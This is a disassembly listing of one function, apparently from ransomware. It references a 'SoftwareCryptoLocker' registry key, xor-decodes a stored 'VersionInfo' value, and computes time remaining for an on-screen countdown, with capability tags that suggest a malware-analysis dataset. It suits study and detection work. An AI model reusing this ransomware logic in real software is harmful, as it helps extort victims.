Function at 0x40a070
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1ac
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [edi + 0xb8]
mov esi, eax
mov dword [esp + 0x1c], esi
test edx, edx
je 0x40a0a7
mov ecx, esi
sub ecx, edx
cmp ecx, 0x2710
jbe 0x40a276
mov eax, dword [0x4160e0]
push 0xffffffffffffffff
push dword [eax + 0x38]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40a0ca
cmp eax, 0x80
jne 0x40a35e
mov bl, byte [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push 0x101
push 0
push str.SoftwareCryptoLocker
push 0x80000001
xor bh, bh
mov dword [esp + 0x28], 0x16c
mov dword [esp + 0x2c], 0
and bl, 0xfe
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a188
mov esi, dword [esp + 0x20]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push str.VersionInfo
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esp + 0x24], eax
test esi, esi
je 0x40a147
test bl, 1
je 0x40a13c
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x24]
mov esi, dword [esp + 0x1c]
test eax, eax
jne 0x40a188
cmp dword [esp + 0x18], 3
jne 0x40a188
cmp dword [esp + 0x14], 0x16c
jne 0x40a188
xor dword [esp + eax + 0x48], 0x819c33ae
add eax, 4
cmp eax, 0x16c
jb 0x40a160
cmp dword [esp + 0x48], 0x16c
jne 0x40a188
xor eax, eax
mov word [esp + 0x1b0], ax
mov bh, 1
mov eax, dword [esp + 0xc]
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test bh, bh
jne 0x40a1fb
push 0x16c
lea eax, [esp + 0x4c]
push 0
push eax
call sub.msvcrt.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
add esp, 0xc
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x4c], 0x16c
call ebx
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push 0
add ecx, 0x2ac18000
push 0x989680
adc eax, 0xfe624e21
push eax
push ecx
call fcn.00410a10
mov ecx, eax
mov dword [esp + 0x4c], ecx
jmp 0x40a205
mov ecx, dword [esp + 0x4c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [esp + 0x50]
mov dword [edi + 0xb8], esi
test eax, eax
jne 0x40a219
lea eax, [ecx + 0x3f480]
cmp eax, dword [edi + 0xb4]
jne 0x40a234
cmp dword [edi + 0x110], 0
je 0x40a27c
cmp word [edi + 0xc0], 0
jne 0x40a27c
cmp dword [edi + 0x110], 0
mov dword [edi + 0xb4], eax
je 0x40a27c
push eax
mov ecx, edi
call fcn.0040a660
lea eax, [esp + 0x28]
push eax
push dword [edi + 0x110]
mov ecx, edi
call fcn.00407270
push 0
lea eax, [esp + 0x2c]
push eax
mov eax, dword [edi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + edi + 0x24]
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x40a27c
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x38]
push eax
call ebx
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push 0
add ecx, 0x2ac18000
push 0x989680
adc eax, 0xfe624e21
push eax
push ecx
call fcn.00410a10
mov ecx, dword [edi + 0xb4]
cmp eax, ecx
jb 0x40a2c2
xor ecx, ecx
jmp 0x40a2c4
sub ecx, eax
cmp dword [edi + 0xbc], ecx
jne 0x40a2d7
cmp word [edi + 0x60], 0
jne 0x40a35e
xor edx, edx
mov eax, ecx
mov ebx, 0x3c
div ebx
mov dword [edi + 0xbc], ecx
mov esi, edx
xor edx, edx
div ebx
push esi
mov eax, 0x91a2b3c5
push edx
mul ecx
mov eax, dword [0x4164a4]
shr edx, 0xb
mov eax, dword [eax + 4]
push edx
push dword [eax + 0x38]
lea eax, [edi + 0x60]
push 0
push 0x28
push eax
call fcn.0040c410
add esp, 0x1c
lea eax, [esp + 0x28]
push eax
push dword [edi + 0xb0]
mov ecx, edi
call fcn.00407270
lea eax, [esp + 0x28]
push 0
push eax
mov eax, dword [edi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + edi + 0x24]
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [edi + 0x20]
mov eax, dword [eax + 4]
push dword [eax + edi + 0x24]
call dword [sym.imp.USER32.dll_UpdateWindow]
test esi, esi
jne 0x40a35e
mov ecx, dword [edi + 0x114]
call fcn.0040ba10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4